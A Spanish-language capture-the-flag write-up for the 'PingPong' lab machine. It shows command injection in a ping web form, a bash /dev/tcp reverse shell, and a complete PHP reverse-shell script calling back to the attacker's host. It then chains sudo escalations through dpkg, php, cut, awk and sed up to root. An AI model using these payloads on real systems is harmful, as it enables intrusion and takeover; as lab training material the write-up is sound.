> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/pingpong-write-up.md).

# PingPong write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/YIIgeU9CRShPbFt9Turv" alt=""><figcaption></figcaption></figure>

## **Escanear de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/4KuApsXzfnLDBWN6gtgH" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 80 (HTTP), 443 (HTTPS) y el 5000 (Werkzeug) están abiertos. Inspeccionamos los puertos 80 y 443 y no encontramos nada. Sin embargo, al ingresar la IP de la máquina víctima junto al puerto 5000 encontramos lo siguiente:

<figure><img src="/files/AWLN7YnjSKUbZfy0DBju" alt=""><figcaption></figcaption></figure>

Observamos que la aplicación ejecuta el comando ping, así que vamos a probar a ingresar lo siguiente para intentar ejecutar el comando `whoami`.

```bash
; whoami
```

<figure><img src="/files/GC7fe15E6uBdWYNV95nW" alt=""><figcaption></figcaption></figure>

Observamos que se ejecuta correctamente, así que ahora nos vamos a poner en escucha por el puerto 4444 y vamos a ingresar lo siguiente:

```bash
; bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"
```

<figure><img src="/files/X55c0itCnYYGTcLt7b4r" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez que estamos dentro de la máquina víctima como el usuario `freddy`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/dpkg` como el usuario `bobby`.

Por lo tanto vamos ejecutar el siguiente comando:

```bash
sudo -u bobby /usr/bin/dpkg -l
```

Esto nos listara con vim todos los paquetes instalados, por lo que ahora podemos escribir `!/bin/bash` para obtener una shell como el usuario `bobby`.

<figure><img src="/files/8eK9qBzI1fHVbPZ3LQNU" alt=""><figcaption></figcaption></figure>

Ahora que somos el usuario `bobby`, ejecutamos el comando `sudo -l` nuevamente, el cual esta vez nos indica que podemos ejecutar el `/usr/bin/php` como el usuario `gladys`, así que vamos a crear un archivo en PHP que contenga el siguiente código:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

Y ahora lo nos ponemos en escucha por el puerto 444 y ejecutamos el archivo.

<figure><img src="/files/puL3pAtJdajP7nSVX5hA" alt=""><figcaption></figcaption></figure>

```bash
sudo -u gladys /usr/bin/php /tmp/archivo.php
```

<figure><img src="/files/TCTySyJubpUeuT2W8XD4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3W8DDGaN5jw8VuocAT1f" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `gladys`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/cut` como el usuario `chocolatito`. Así que vamos a ejecutar lo siguiente para ver el contenido del archivo `/opt/chocolatitocontraseña.txt`.

```bash
sudo -u chocolatito cut -d "" -f1 /opt/chocolatitocontraseña.txt
```

Esto nos indica que la contraseña del usuario `chocolatito` es `chocolatitopassword`.

<figure><img src="/files/bID9Nj9MUiDWPLdjXTgi" alt=""><figcaption></figcaption></figure>

Ahora que somos el usuario `chocolatito`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/awk` como el usuario `theboss`. Así que ejecutamos lo siguiente:

<figure><img src="/files/fCEf0kpWGnoenKbo9PgT" alt=""><figcaption></figcaption></figure>

```bash
sudo -u theboss awk 'BEGIN {system("/bin/bash")}'
```

<figure><img src="/files/km1tONEdHdY6Cn4Xnk92" alt=""><figcaption></figcaption></figure>

Cuando somos el usuario `theboss`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/sed` como el usuario `root`. Así que ejecutamos lo siguiente:

<figure><img src="/files/K4ik8lLpdxpASwUEks0Y" alt=""><figcaption></figcaption></figure>

```bash
sudo sed -n '1e exec bash 1>&0' /etc/hosts
```

<figure><img src="/files/SgS17GXjZr0yxhW5rs7j" alt=""><figcaption></figcaption></figure>
